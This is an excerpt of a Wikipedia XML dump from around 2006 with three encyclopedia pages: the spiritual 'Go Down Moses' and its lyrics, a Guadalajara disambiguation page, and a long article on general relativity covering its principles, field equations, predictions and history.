    <id>12021</id>
    <revision>
      <id>35073766</id>
      <timestamp>2006-01-13T22:41:15Z</timestamp>
      <contributor>
        <username>Bluemoose</username>
        <id>178836</id>
      </contributor>
      <comment>[[WP:AWB|AWB assisted]] clean up</comment>
      <text xml:space="preserve">:''This article discusses the song &quot;Go Down Moses&quot;; for the book by [[William Faulkner]], see [[Go Down, Moses]]''

'''&quot;Go Down Moses&quot;''' is an [[African-American]] [[spiritual (music)|spiritual]], that is a retelling of events in the [[Old Testament]] of the [[Bible]] ([[Exodus]], chapters 3-12), in which [[God]] commands [[Moses]] to demand the release of the [[Israelites]] from bondage in [[Egypt]].

The song was made famous by [[Paul Robeson]] whose voice, deep and resonant as it was, was said by some to have attained the status of the voice of [[God]].

[[William Faulkner]] titled his book, [[Go Down, Moses]], after the song.

==Usual lyrics==
When Israel was in Egypt's land&lt;br&gt;
Let my people go&lt;br&gt;
Oppressed so hard they could not stand&lt;br&gt;
Let my people go

Go down, Moses, way down in Egypt's land&lt;br&gt;
Tell old Pharaoh, Let my people go

So Moses went to Egypt's land&lt;br&gt;
Let my people go&lt;br&gt;
To make old Pharaoh understand&lt;br&gt;
Let my people go&lt;br&gt;
Thus spake the Lord, bold Moses said,&lt;br&gt;
&quot;Let my people go,&lt;br&gt;
If not, I'll strike your first born dead&lt;br&gt;
Let my people go&quot;

(Public Domain)

== External links ==
*[http://ctl.du.edu/spirituals/ Sweet Chariot: The Story of the Spirituals], particularly their [http://ctl.du.edu/spirituals/Freedom/source.cfm section on &quot;Freedom&quot;]  (Web site maintained by [http://spiritualsproject.org/ The Spirituals Project] at the University of Denver)

[[Category:Traditional songs]]</text>
    </revision>
  </page>
  <page>
    <title>Guadalajara (disambiguation)</title>
    <id>12023</id>
    <revision>
      <id>32286242</id>
      <timestamp>2005-12-21T22:08:07Z</timestamp>
      <contributor>
        <username>SalvadorRodriguez</username>
        <id>414846</id>
      </contributor>
      <comment>Clarity</comment>
      <text xml:space="preserve">'''Guadalajara''' may refer to: 

*'''Mexico'''
**[[Guadalajara, Jalisco]], the capital of the state of Jalisco
**[[Club Deportivo Guadalajara]], aka &quot;Chivas&quot;, a Mexican association football team

*'''Spain'''
**[[Guadalajara (province)]], a province in Castile&amp;ndash;La Mancha
**[[Guadalajara, Spain]], the capital of the above province


{{disambig}}

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  <page>
    <title>General relativity</title>
    <id>12024</id>
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      <comment>Revert to revision 41961135 using [[:en:Wikipedia:Tools/Navigation_popups|popups]]</comment>
      <text xml:space="preserve">'''General relativity''' (GR) is the [[Geometry|geometrical]] [[theory]] of [[gravitation]] published by [[Albert Einstein]] in [[1915]]. It unifies [[special relativity]] and [[Isaac Newton]]'s [[law of universal gravitation]] with the insight that gravitation is not viewed as being due to a [[force]] (in the traditional sense) but rather a manifestation of [[curvature|curved]] space and time, this curvature being produced by the [[mass]]-[[energy]] content of the [[spacetime]].

&lt;div class=&quot;noprint&quot; style=&quot;clear: right&quot;&gt;
{{General relativity}}
__TOC__
&lt;/div&gt;


== Overview ==
[[image:spacetime_curvature.png|thumb|right|400px|Two-dimensional visualization of space-time distortion. The presence of matter changes the geometry of spacetime, this (curved) geometry being interpreted as gravity.]]

In this theory, [[spacetime]] is [[#Spacetime as a curved Lorentzian manifold|treated as a 4-dimensional Lorentzian manifold]] which is curved by the presence of [[mass]], [[energy]], and [[momentum]] (or [[stress-energy tensor|stress-energy]]) within it. The relationship between stress-energy and the curvature of spacetime is governed by the [[Einstein field equations]].  The motion of objects being influenced solely by the geometry of spacetime ([[Inertia|inertial motion]]) occurs along special paths called [[timelike]] and [[null]] [[geodesic (general relativity)|geodesics]] of spacetime.

&lt;div id=ref_1&gt;One of the defining features of general relativity is the idea that gravitational 'force' is replaced by geometry.  In general relativity, phenomena that in [[classical mechanics]] are ascribed to the action of the force of [[gravity]] (such as [[free-fall]], [[orbit]]al motion, and [[spacecraft]] [[trajectories]]) are taken in general relativity to represent inertial motion in a curved spacetime.  So what people standing on the surface of the Earth perceive as the 'force of gravity' is a result of their undergoing a [[#Coordinate vs. physical acceleration|continuous physical acceleration]] caused by the mechanical resistance of the surface on which they are standing.  &lt;/div&gt;

=== Justification ===
The justification for creating general relativity comes from the [[equivalence principle]], which dictates that [[freefall]]ing observers are the ones in [[inertia]]l motion.  A consequence of this insight is that inertial observers can accelerate with respect to each other.  (Think of two balls falling on opposite sides of the Earth, for example.)  This redefinition is incompatible with [[Newton's first law of motion]], and cannot be accounted for in the [[Euclidean geometry]] of [[special relativity]].  To quote Einstein himself:
: ''If all accelerated systems are equivalent, then Euclidean geometry cannot hold in all of them.'' [http://www-groups.dcs.st-and.ac.uk/~history/HistTopics/General_relativity.html]
Thus the equivalence principle led Einstein to search for a gravitational theory which involves curved spacetimes.

Another motivating factor was the realization that relativity calls for gravitation to be expressed as a rank-two [[tensor]], and not just a [[vector (spatial)|vector]] as was the case in Newtonian physics [http://www.bun.kyoto-u.ac.jp/~suchii/gen.GR3.html].  (An analogy is the [[electromagnetic field tensor]] of special relativity).  Thus Einstein sought a rank-two tensor means of describing curved spacetimes surrounding massive objects.  This effort came to fruition with the discovery of the [[Einstein field equations]] in 1915.

=== Fundamental principles ===
General relativity is based on a set of fundamental principles which guided its development.  These are:
* The [[general principle of relativity]]: The laws of physics must be the same for all observers (accelerated or not).
* The [[principle of general covariance]]: The laws of physics must take the same form in all coordinate systems.
* The principle that [[inertia|inertial motion]] is [[geodesic (general relativity)|geodesic motion]]: The world lines of particles unaffected by physical forces are timelike or null geodesics of spacetime.
* The principle of [[Lorentz covariance|local Lorentz invariance]]: The laws of [[special relativity]] apply locally for all inertial observers.
* Spacetime is curved:  This permits gravitational effects such as freefall to be described as a form of inertial motion. (See the discussion below of a person standing on Earth, under [[General relativity#Coordinate vs. physical acceleration|&quot;Coordinate vs. physical acceleration.&quot;]])
* Spacetime curvature is created by stress-energy within the spacetime:  This is described in general relativity by the Einstein Field Equations.

(The [[equivalence principle]], which was the starting point for the [[history of general relativity|development of general relativity]], ended up being a consequence of the general principle of relativity and the principle that inertial motion is geodesic motion.)

===Spacetime as a curved Lorentzian manifold ===
In general relativity, the concept of [[spacetime]] (which was introduced by [[Hermann Minkowski]] for special relativity) is modified.  In general relativity spacetime is
* [[curvature|curved]]: Spacetime has a [[non-Euclidean geometry]]. In special relativity, spacetime is flat.
* [[Lorentzian manifold|Lorentzian]]: The [[metric tensor (general relativity)|metrics of spacetime]] must have a mixed [[metric signature]]. This is inherited from special relativity.
* four [[dimension]]al: to cover the three spatial dimensions and time. This is also inherited from special relativity.

The curvature of spacetime (caused by the presence of stress-energy) can be viewed intuitively in the following way. Placing a heavy object such as a bowling ball on a trampoline will produce a 'dent' in the trampoline. This is analogous to a large mass such as the Earth causing the local spacetime geometry to curve. This is represented by the image at the top of this article. The larger the mass, the bigger the amount of curvature. A relatively light object placed in the vicinity of the 'dent', such as a ping-pong ball, will accelerate towards the bowling ball in a manner governed by the 'dent'. Firing the ping-pong ball at just the right speed towards the 'dent' will result in the ping-pong ball 'orbiting' the bowling ball. This is analogous to the Moon orbiting the Earth, for example.

Similarly, in general relativity massive objects do not directly impart a force on other massive objects as hypothesized in Newton's [[action at a distance]] idea.  Instead (in a manner analogous to the ping-pong ball's response to the bowling ball's ''dent'' rather than the bowling ball itself), other massive objects respond to how the first massive object curves spacetime.

=== The mathematics of general relativity ===
{{main|Mathematics of general relativity}}

Due to the expectation that spacetime is curved, [[Riemannian geometry]] (a type of non-Euclidean geometry) must be used.  In essence, spacetime does not adhere to the &quot;common sense&quot; rules of Euclidean geometry, but instead objects that were initially traveling in parallel paths through spacetime (meaning that their velocities do not differ to first order in their separation) come to travel in a non-parallel fashion.  This effect is called [[geodesic deviation]], and it is used in general relativity as an alternative to gravity.  For example, two people on the Earth heading due north from different positions on the [[equator]] are initially traveling on parallel paths, yet at the [[north pole]] those paths will cross.  Similarly, two balls initially at rest with respect to and above the surface of the Earth (which are parallel paths by virtue of being at rest with respect to each other) come to have a converging component of relative velocity as both accelerate towards the center of the Earth due to
their subsequent freefall. (Another way of looking at this is how a single ball moving in a purely timelike fashion parallel to the center of the Earth comes through geodesic motion to be moving towards the center of the Earth.)

The requirements of the mathematics of general relativity are further modified by the other principles.  Local Lorentz Invariance requires that the manifolds described in GR be 4-dimensional and Lorentzian instead of [[Riemannian manifold|Riemannian]].  In addition, the principle of [[general covariance]] forces that math to be expressed using [[tensor calculus]].  Tensor calculus permits a manifold as [[map]]ped with a [[coordinate system]] to be equipped with a [[metric tensor (general relativity)|metric tensor of spacetime]] which describes the incremental (spacetime) intervals between coordinates from which both the [[geodesic equation]]s of motion and the [[curvature tensor]] of the spacetime can be ascertained.

=== The Einstein field equations ===
{{main|Einstein field equations}}

The Einstein field equations (EFE) describe how stress-energy causes curvature of spacetime and are usually written in [[tensor]] form (using [[abstract index notation]]) as

:&lt;math&gt; G_{ab} = \kappa\, T_{ab} &lt;/math&gt;

where &lt;math&gt; G_{ab} \ &lt;/math&gt; is the [[Einstein tensor]], &lt;math&gt;T_{ab} \ &lt;/math&gt; is the [[stress-energy tensor]] and &lt;math&gt;\kappa \ &lt;/math&gt; is a constant. The tensors &lt;math&gt;G_{ab} \ &lt;/math&gt; and &lt;math&gt; T_{ab} \ &lt;/math&gt; are both rank 2 symmetric tensors, i.e. they can each be thought of as 4&amp;times;4 matrices each of which contains 10 independent terms.

The solutions of the EFE are [[metric tensor (general relativity)|metrics of spacetime]]. These metrics describe the structure of spacetime given the stress-energy and coordinate mapping used to obtain that solution. Being non-linear differential equations, the EFE often defy attempts to obtain an [[exact solutions in general relativity|exact solution]]; however, many such solutions are known.

The EFE reduce to [[Newton's law of gravity]] in the limiting cases of a [[weak-field approximation|weak gravitational field]] and [[slow-motion approximation|slow speed]] relative to the speed of light. In fact, the value of &lt;math&gt;\kappa \ &lt;/math&gt; in the EFE is determined to be &lt;math&gt;\kappa = 8 \pi G / c^4 \ &lt;/math&gt; by making these two approximations.

The EFE are the identifying feature of general relativity.  Other theories built of the same premises include additional rules and/or constraints.  The result almost invariably is a theory with different field equations (such as [[Brans-Dicke theory]], [[teleparallelism]], [[Rosen bimetric theory]], and [[Einstein-Cartan theory]]).

=== Coordinate vs. physical acceleration ===
One of the greatest sources of confusion about general relativity comes from the need to distinguish between coordinate and physical accelerations.

In [[classical mechanics]], space is preferentially mapped with a [[Cartesian coordinate system]].  Inertial motion then occurs as one moves through this space at a consistent coordinate rate with respect to time.  Any change in this rate of progression must be due to a force, and therefore a physical and coordinate acceleration were in classical mechanics one and the same.  It is important to note that in [[special relativity]] that same kind of Cartesian coordinate system was used, with time being added as a fourth dimension and defined for an observer using the [[Einstein synchronization procedure]].  As a result, physical and coordinate acceleration correspond in special relativity too, although their magnitudes may vary.

In general relativity, the elegance of a flat spacetime and the ability to use a preferred coordinate system are lost (due to stress-energy curving spacetime and the principle of [[general covariance]]). Consequently, coordinate and physical accelerations become sundered.  For example:  Try using a radial coordinate system in classical mechanics.  In this system, an inertially moving object which passes by (instead of through) the origin point is found to first be moving mostly inwards, then to be moving tangentially with respect to the origin, and finally to be moving outwards, yet is moving in a straight line.  This is an example of an inertially moving object undergoing a coordinate acceleration, and the way this coordinate acceleration changes as the object travels are given by the [[geodesic]] equations for the manifold and coordinate system in use.

Another more direct example is the case of someone standing on the Earth, where they are at rest with respect to the surface coordinates for the Earth (latitude, longitude, and elevation) but are undergoing a continuous physical acceleration because the mechanical resistance of the Earth's surface keeps them from free falling.

== Predictions of General Relativity ==
:''(For more detailed information about tests and predictions of general relativity, see [[Tests of general relativity]])''

=== Gravitational effects ===
==== Acceleration effects ====
These effects occur in any accelerated frame of reference, and are therefore independent of the curvature of spacetime.  (Note however that spacetime curvature usually is the source the causative acceleration when these effects are being observed.)

* Gravitational [[redshift]]ing of [[light]]:  The frequency of light will decrease (shifting visible light towards the red end of the spectrum) as it moves to higher gravitational potentials (out of a gravity well). Confirmed by the [[Pound-Rebka experiment]].
* Gravitational [[time dilation]]:  Clocks will run slower at lower gravitational potentials (deeper within a gravity well). Confirmed by the [[Hafele-Keating experiment|Haefele-Keating experiment]] and [[GPS]].
* [[Shapiro effect]] (a.k.a. gravitational time delay):  Signals will take longer than expected to move through a gravitational field.  Confirmed through observations of signals from spacecraft and pulsars passing behind the Sun as seen from the Earth.

==== Bending of light ====
This bending also occurs in any accelerated frame of reference.  However, the details of the bending and therefore the gravitational lensing effects are governed by spacetime curvature.

* The magnitude of this effect is twice the Newtonian prediction. It was confirmed by astronomical observations during [[eclipse]]s of the Sun and observations of pulsars passing behind the Sun.
* [[Gravitational lensing]]:  One distant object in front of or close to being in front of another much more distant object can change how the more distant object is seen.  These effects include
** Multiple views of the same object: Observed of quasars whose light passes close to an intervening galaxy.
** Brightening of a star due to the focusing effects of a planet or another star passing in front of it:  Such &quot;[[microlensing]]&quot; events are now regularly observed.
** [[Einstein ring]]s and arcs: One object directly behind another can make the more distant object's light appear as a ring.  When almost directly behind, the result is an arc.  Observed for distant galaxies.

==== Orbital effects ====
These are ways in which the [[celestial mechanics]] of general relativity differs from that of classical mechanics.

* Non-Newtonian [[Precession#Precession of planetary orbits|periapsis precession]]: The [[Apsis|apsides]] of [[orbit]]s [[precess]] more than expected under [[Newton]]'s theory of [[gravity]].  This has been [[Tests of general relativity#Classical tests|confirmed for Mercury]] and observed in several binary [[pulsar]]s.
* &lt;div id=&quot;orbital_decay&quot;&gt;Orbital decay due to the emission of [[gravitational radiation]]:  This has been observed in binary pulsars.&lt;/div&gt;
* &lt;div id=&quot;geodetic_precess&quot;&gt;[[Geodetic precession]]:  Because of the curvature of spacetime, the orientation of an orbiting [[gyroscope]] will change over time.  This is being tested by [[Gravity Probe B]].&lt;/div&gt;

==== Rotational effects ====
These involve the behavior of spacetime around a rotating massive object.

* [[Frame dragging]]: A rotating object will drag the spacetime along with it.  This will cause the orientation of a gyroscope to change over time.  For a spacecraft in a polar orbit, the direction of this effect is perpendicular to the geodetic precession mentioned [[#geodetic precess|above]].  This prediction is also being tested by [[Gravity Probe B]].

==== Black holes ====
[[Black hole]]s are objects which have gravitationally collapsed behind an [[event horizon]].  In a &quot;classical&quot; black hole, nothing that enters can ever escape.  However, [[Stephen Hawking]] has shown that black holes can &quot;leak&quot; energy, a phenomenon called [[Hawking radiation]].

=== Cosmological effects ===
* [[Hubble's Law|Expansion of the universe]]:  This is predicted by [[Friedmann-Lemaître-Robertson-Walker|cosmological solutions]] of the Einstein Field Equations.  Its existence was confirmed by [[Edwin Hubble]] in [[1929]].
** [[Cosmological redshift]]: Light from distant galaxies will be redshifted due to their movement away from the observer.
* [[Big Bang]]: The arising of the universe from a primordial [[gravitational singularity|singularity]]
** [[Cosmic background radiation]]: The remnants of the primordial fireball.  Discovered by [[Arno Penzias]] and [[Robert Woodrow Wilson|Robert Wilson]] in [[1965]].
* [[Dark energy]]:  An unobserved energy that is spread throughout the universe.  Recent observations of distant supernovae indicate that the expansion of the universe is accelerating.  The Einstein Field Equations can support this type of universe only if 70% of its stress-energy is in the form of this dark energy.

=== Other predictions ===
* The equivalence of inertial mass and gravitational mass:  This follows naturally from freefall being inertial motion.
** The [[strong equivalence principle]]:  Even a self-gravitating object will respond to an external gravitational field in the same manner as a test particle would. (This is often violated by [[#Alternative theories|alternative theories]].)
* [[Gravitational radiation]]:  Orbiting objects and merging neutron stars and/or black holes are expected to emit gravitational radiation.
** Orbital decay (described [[#orbital decay|above]]).
** Binary [[pulsar]] mergers: May create gravitational waves strong enough to be observed here on Earth. Several [[:Category:gravitational wave telescopes|gravitational wave observatories]] are (or will soon be) in operation. However, there are no confirmed observations of gravitational radiation at this time.
** [[Gravitons]]:  According to [[quantum mechanics]], gravitational radiation must be composed of quanta called gravitons.  General relativity predicts that these will be spin-2 [[subatomic particle|particles]].  They have not been observed.
** Only [[quadrupole]] (and higher order [[multipole]]) moments create gravitational radiation.
*** [[Dipole]] gravitational radiation (prohibited by this prediction) is predicted by some [[#Alternative theories|alternative theories]].  It has not been observed.

== Relationship to other physical theories ==
=== Classical mechanics and special relativity ===
Classical mechanics and special relativity are lumped together here because special relativity is in many ways intermediate between general relativity and classical mechanics, and shares many attributes with classical mechanics.

Note that in the discussion which follows, the [[mathematics of general relativity]] is used heavily.  Also note that under the [[principle of minimal coupling]], the physical equations of special relativity can be turned into their general relativity equivalent by replacing the Minkowski metric (''&amp;eta;&lt;sub&gt;ab&lt;/sub&gt;'') with the relevant metric of spacetime (''g&lt;sub&gt;ab&lt;/sub&gt;'') and by replacing any regular derivatives with covariant derivatives.  In the discussions that follow, the change of metrics is implied.

==== Inertia ====
In both classical mechanics and special relativity, space and then spacetime were assumed to be flat.  In the language of tensor calculus, this meant that ''R&lt;sup&gt;a&lt;/sup&gt;&lt;sub&gt;bcd&lt;/sub&gt; = 0'', where ''R&lt;sup&gt;a&lt;/sup&gt;&lt;sub&gt;bcd&lt;/sub&gt;'' is the [[Riemann curvature tensor]].  In addition, the coordinate system itself was also assumed to be Cartesian.  These restrictions permit inertial motion to be described mathematically as

&lt;math&gt;\ddot{x}^a = 0,&lt;/math&gt; where
*''x&lt;sup&gt;a&lt;/sup&gt;'' is a position vector,
*&lt;math&gt;\dot{} = \partial / \partial\tau&lt;/math&gt;, and
*''&amp;tau;'' is [[proper time]].

Note that in classical mechanics, ''x&lt;sup&gt;a&lt;/sup&gt;'' is three-dimensional and ''&amp;tau; &amp;equiv; t'', where ''t'' is coordinate time.

In general relativity, these restrictions on the shape of spacetime and on the coordinate system to be used are lost.  Therefore a different definition of inertial motion is required.  In relativity, inertial motion occurs along timelike or null [[geodesic]]s as parameterized by proper time.  This is expressed mathematically by the [[geodesic equation]]:

&lt;math&gt;\ddot{x}^a + {\Gamma^a}_{bc} \, \dot{x}^b \,\dot{x}^c  = 0,&lt;/math&gt; where
* &lt;math&gt;{\Gamma^a}_{bc}&lt;/math&gt; is a [[Christoffel symbol]] (otherwise known as a [[Levi-Civita connection|connection]]).

Since ''x'' is a rank one tensor, these equations are four in number, with each one describing the second derivative of a coordinate with respect to proper time. (Note that under the [[Minkowski metric]] of special relativity, the values of the connections are all zeros.  This is what turns the general relativity geodesic equations into  &lt;math&gt;\ddot{x}^a = 0&lt;/math&gt; for special relativity.)

==== Gravitation ====
For gravitation, the relationship between Newton's theory of [[gravity]] and general relativity is governed by the [[correspondence principle]]:  General relativity must produce the same results as gravity does for the cases where Newtonian physics has been shown to be accurate.

Around a spherically symmetric object, the theory of gravity predicts that objects will be physically accelerated towards the center on the object by the rule &lt;math&gt;\mathbf{F} = M \mathbf{\hat{r}}/r^2&lt;/math&gt; where
* M is the mass of the gravitating object,
* r is the distance to the gravitation object, and
* &lt;math&gt;\mathbf{\hat{r}}&lt;/math&gt; is a unit vector identifying the direction to the massive object.

In the [[weak-field approximation]] of general relativity, an identical coordinate acceleration must exist.  For the Schwarzschild solution (which is the simplest possible spacetime surrounding a massive object), the same acceleration as that which (in Newtonian physics) is created by gravity is obtained when a constant of integration is set equal to ''2m'' (where ''m=MG/c^2''). For more information, see [[Deriving the Schwarzschild solution]].

====Transition from Newtonian mechanics to general relativity====
{{main|Newtonian foundation of general relativity}}

Some of the basic concepts of general relativity can be outlined outside the [[Special relativity | relativistic]] domain. In particular, the idea that mass/energy generates [[Curvature | curvature]] in [[Spacetime | space]] and that curvature affects the motion of masses can be illustrated in a [[Newtonian mechanics | Newtonian]] setting. 

General relativity generalizes the [[Geodesic equation | geodesic equation]] and the [[Einstein field equation | field equation]] to the relativistic realm in which trajectories in space are replaced with [[Fermi-Walker transport]] along [[World line | world lines]] in [[Spacetime | spacetime]]. The equations are also generalized to more complicated curvatures.

====Transition from special relativity to general relativity====
{{main|Transition from special relativity to general relativity}}

The basic structure of general relativity, including the [[Geodesic equation | geodesic equation]] and [[Einstein field equation]], can be obtained from [[Special relativity | special relativity]] by examining the [[Kinetics | kinetics]] and [[Dynamics | dynamics]] of a particle in a [[Circular orbit | circular orbit]] about the earth.

==== Conservation of energy-momentum ====
In classical mechanics, [[conservation of energy]] and [[Momentum#Conservation of Momentum .26 Collisions|momentum]] are handled separately.

In special relativity, energy and momentum are joined in the [[four-momentum]] and the [[stress-energy tensor|stress-energy]] tensors.  For any self-contained system or for any physical interaction, the total energy-momentum is conserved in the sense that:

&lt;math&gt;\partial_b \, {T_a}^b = 0&lt;/math&gt;, where
* &lt;math&gt;\partial&lt;/math&gt; is a [[partial derivative]].
* &lt;math&gt;{T_a}^b&lt;/math&gt; is the stress-energy tensor.

For general relativity, this relationship is modified to account for curvature, becoming

&lt;math&gt;\nabla_b \, {T_a}^b = \partial_b \, {T_a}^b + {\Gamma^b}_{cb} \, {T_a}^c + {\Gamma^c}_{ab} \, {T_c}^b = 0&lt;/math&gt;, where
* &amp;nabla; is a [[covariant derivative]].

Unlike classical mechanics and special relativity, it is not usually possible to unambiguously define the total energy and momentum in general relativity, so the conservation laws are ''local'' statements only (see [[ADM energy]], though). This often causes confusion in time-dependent spacetimes which apparently do not conserve energy, although the local law is always satisfied.

==== Electromagnetism ====
Electromagnetism sounded the death knell for classical mechanics, since [[Maxwell's Equations]] are not [[Galilean invariance|Galilean invariant]].  This created a dilemma that was resolved by the advent of special relativity.

In tensor form, Maxwell's equations are

&lt;math&gt;\partial_a\,F^{\,ab} = (4\pi/c)\,J^{\,b}&lt;/math&gt; and&lt;br&gt;
&lt;math&gt;\partial^{a}\,F^{\,bc} + \partial^{b} \, F^{\,ca} + \partial^{c} \, F^{\,ab} = 0&lt;/math&gt;, where
* ''F&lt;sup&gt; ab&lt;/sup&gt;'' is the [[electromagnetic field tensor]], and
* ''J&lt;sup&gt; a&lt;/sup&gt;'' is a [[four-current]].

The effect of an electromagnetic field on a charged object of mass ''m'' is then

&lt;math&gt;dP^a/d\tau = (q/m)\,P_b\,F^{\,ab}&lt;/math&gt;, where
* ''P&lt;sup&gt; a&lt;/sup&gt;'' is the [[four-momentum]] of the charged object.

In general relativity, Maxwell's equations become

&lt;math&gt;\nabla_a\,F^{\,ab} = (4\pi/c)\,J^{\,b}&lt;/math&gt; and&lt;br&gt;
&lt;math&gt;\nabla^a\,F^{\,bc} + \nabla^b \, F^{\,ca} + \nabla^c \, F^{\,ab} = 0&lt;/math&gt;.

The equation for the effect of the electromagnetic field remains the same, although the change of metrics will modify its results.

=== Quantum mechanics ===
General relativity is incompatible with [[quantum mechanics]]; it is generally held that one of the most important unsolved problems in modern physics is the problem of obtaining a true quantum theory of gravitation.  Unsuccessful attempts at obtaining such theories include [[supergravity]], a [[field theory]] which attempted to unify general relativity with [[supersymmetry]]. At present, leading contenders which may turn out to solve this problem include [[M-theory]] and [[loop quantum gravity]].  Of these two, M-theory is significantly more ambitious in that it attempts to ''unify'' gravitation with the other known fundamental forces of Nature, whereas loop quantum gravity &quot;merely&quot; attempts to provide a viable quantum theory of gravitation with a well-defined classical limit which agrees with general relativity.

=== Alternative theories ===
Well known classical theories of gravitation other than general relativity include:
*[[Nordström's theory of gravitation]] (1913) was one of the earliest ''metric theories'' (an aspect brought out by Einstein and Fokker in 1914).  Nordström soon abandoned his theory in favor of general relativity on theoretical grounds, but this theory, which is a ''scalar theory'', and which features a notion of ''prior geometry'', does not predict any '' light bending'', so it is solidly incompatible with observation.
*[[Alfred North Whitehead]] formulated an alternative theory of gravity that was regarded as a viable contender for several decades, until [[Clifford Martin Will|Clifford Will]] noticed in 1971 that it predicts grossly incorrect behavior for the ocean tides!
*[[George David Birkhoff]]'s (1943) yields the same predictions for the classical four solar system tests as general relativity, but unfortunately requires sound waves to travel at the speed of light!  Thus, like Whitehead's theory, it was never a viable theory after all, despite making an initially good impression on many experts.
*Like Nordström's theory, the gravitation theory of [[Wei-Tou Ni]] (1971) features a notion of prior geometry, but Will soon showed that it is not fully compatible with observation and experiment.
*The [[Brans-Dicke theory]] and the [[Rosen bi-metric theory]] are two alternatives to general relativity which have been around for a very long time and which have also withstood many tests.  However, they are less elegant and more complicated than general relativity, in several senses.
*There have been many attempts to formulate consistent theories which combine gravity and electromagnetism.  The first of these, [[Weyl's gauge theory of gravitation]], was immediately shot down (on a postcard!) by Einstein himself, who pointed out to [[Hermann Weyl]] that in his theory, hydrogen atoms would have variable size, which they do not.  Another early attempt, the original [[Kaluza-Klein theory]], at first seemed to unify general relativity with classical electromagnetism, but is nowadays not regarded as successful for that purpose.  Both these theories have turned out to be historically important for other reasons: Weyl's idea of [[gauge invariance]] survived and in fact is omnipresent in modern physics, while Kaluza's idea of compact extra dimensions has been resurrected in the modern notion of a [[brane-world]].
*The [[Fierz-Pauli spin-two theory]] was an optimistic attempt to quantize general relativity, but it turns out to be ''internally inconsistent''.  [[Pascual Jordan]]'s work toward fixing these problems eventually motivated the Brans-Dicke theory, and also influenced [[Richard Feynman]]'s unsuccessful attempts to quantize gravity.
*[[Einstein-Cartan theory]] includes [[torsion]] terms, so it is not a metric theory in the strict sense.
*[[Teleparallel gravity]] goes further and replaces connections with nonzero curvature (but vanishing torsion) by ones with nonzero torsion (but vanishing curvature).
*The [[Nonsymmetric Gravitational Theory]] (NGT) of [[John Moffat|John W. Moffat]] is a dark horse in the race.
* Similarly, [[Self creation cosmology]] is a modification of the [[Brans-Dicke theory]] that is concondant with local and cosmological observatons and being tested by the [[Gravity Probe B]] experiment.
Even for &quot;weak field&quot; observations confined to our Solar system, various alternative theories of gravity predict quantitatively distinct deviations from Newtonian gravity.  In the weak-field, slow-motion limit, it is possible to define 10 experimentally measurable parameters which completely characterize predictions of any such theory.  This system of these parameters, which can be roughly thought of as describing a kind of ten dimensional &quot;superspace&quot; made from a certain class of classical gravitation theories, is known as [[PPN formalism]] (Parametric Post-Newtonian formalism).  [http://relativity.livingreviews.org/open?pubNo=lrr-2001-4&amp;page=node8.html] Current bounds on the PPN parameters [http://wugrav.wustl.edu/people/CMW/expgravpage/ppnbounds.html] are compatible with GR.

See in particular [http://www.arxiv.org/abs/gr-qc/0103036|The confrontation between Theory and Experiment in Gravitational Physics], a review paper by Clifford Will.

== History ==
{{details|History of general relativity}}
:''See also: [[Tests of general relativity]]''

General relativity was developed by Einstein in a process that began in [[1907]] with the publication of an article on the influence of gravity and acceleration on the behavior of light in [[special relativity]].  Most of this work was done in the years [[1911]]&amp;ndash;[[1915]], beginning with the publication of a second article on the effect of gravitation on light.  By [[1912]], Einstein was actively seeking a theory in which gravitation was explained as a geometric phenomenon.  In 1915, these efforts culminated in the publication of the [[Einstein field equations]], which are a set of differential equations.

Since 1915, the development of general relativity has focused on solving the field equations for various cases. This generally means finding [[metric tensor (general relativity)|metrics]] which correspond to realistic physical scenarios. The interpretation of the solutions and their possible experimental and observational testing also constitutes a large part of research in GR.

The [[expansion of the universe]] created an interesting episode for general relativity.  Starting in [[1922]], researchers found that cosmological solutions of the Einstein field equations call for an expanding universe.  Einstein did not believe in an expanding universe, and so he added a [[cosmological constant]] to the field equations to permit the creation of static universe solutions.  In [[1929]], [[Edwin Hubble]] found evidence that the universe is expanding. This resulted in Einstein dropping the cosmological constant, referring to it as &quot;the biggest blunder in my career&quot;.

Progress in solving the field equations and understanding the solutions has been ongoing.  Notable solutions have included the [[Schwarzschild solution]] ([[1916]]), the [[Reissner-Nordström]] solution and the [[Kerr solution]].

Observationally, general relativity has a history too.  The perihelion precession of Mercury was the first evidence that general relativity is correct.  Eddington's 1919 expedition in which he confirmed Einstein's prediction for the deflection of light by the Sun helped to cement the status of general relativity as a likely true theory.  Since then, many observations have confirmed the predictions of general relativity.  These include studies of binary pulsars, observations of radio signals passing the limb of the Sun, and even the [[GPS]] system. For more information, see the [[Tests of general relativity]] article.

== Status ==
The status of general relativity is decidedly mixed.  On the one hand, it is a highly successful model of gravitation and cosmology which has passed every unambiguous test that it has been subjected to so far, both observationally and experimentally.  It is therefore almost universally accepted by the scientific community.

On the other hand, general relativity is inconsistent with quantum mechanics, and the singularities of black holes also raise some disconcerting issues.  So at the same time as it is accepted, there is also a sense that there may well be something beyond Einstein's theory still yet to be found.

Currently, better tests of general relativity are needed.  Even the most recent binary pulsar discoveries only test general relativity to the first order of deviation from Newtonian projections in the post-Newtonian parameterizations.  Some way of testing second and higher order terms is needed, and may shed light on how reality differs from Einstein's theory (if it does).

==Quotes==
:''Spacetime grips mass, telling it how to move, and mass grips spacetime, telling it how to curve'' &amp;mdash; [[John Archibald Wheeler]].

:''The theory appeared to me then, and still does, the greatest feat of human thinking about nature, the most amazing combination of philosophical penetration, physical intuition, and mathematical skill.  But its connections with experience were slender.  It appealed to me like a great work of art, to be enjoyed and admired from a distance.'' &amp;mdash; [[Max Born]]

== Notes ==
&lt;div id=note_1&gt;[[#ref 1|&lt;sup&gt;[1]&lt;/sup&gt;]] In general relativity, the term &quot;gravitation&quot; (meaning the tendency of massive objects to accelerate towards each other) is used instead of &quot;[[gravity]]&quot; since gravity is by definition the force which causes gravitation.&lt;/div&gt;

==See also==
{{wikibooks}}
{{Wikisourcepar|Relativity: The Special and General Theory}}
*[[Classical theories of gravitation]]
*[[David Hilbert]]
*[[Einstein-Hilbert action]]
*[[General relativity resources]], an annotated reading list giving bibliographic information on some of the most cited resources.
*[[History of general relativity]]

&lt;div class=&quot;noprint&quot; style=&quot;clear: right&quot;&gt;&lt;/div&gt;

==References==
* {{cite book | last = Einstein | first = A. | title = Relativity: The Special and General Theory | location = New York | publisher = Crown | year = 1961 | id = ISBN 0-517-029618 | url = http://www.gutenberg.org/etext/5001 }}

* {{cite book | last = Ohanian | first = Hans C. | coauthors = Ruffini, Remo | title = Gravitation and Spacetime | location = New York | publisher = W. W. Norton | year = 1994 | id = ISBN 0-393-96501-5 }}

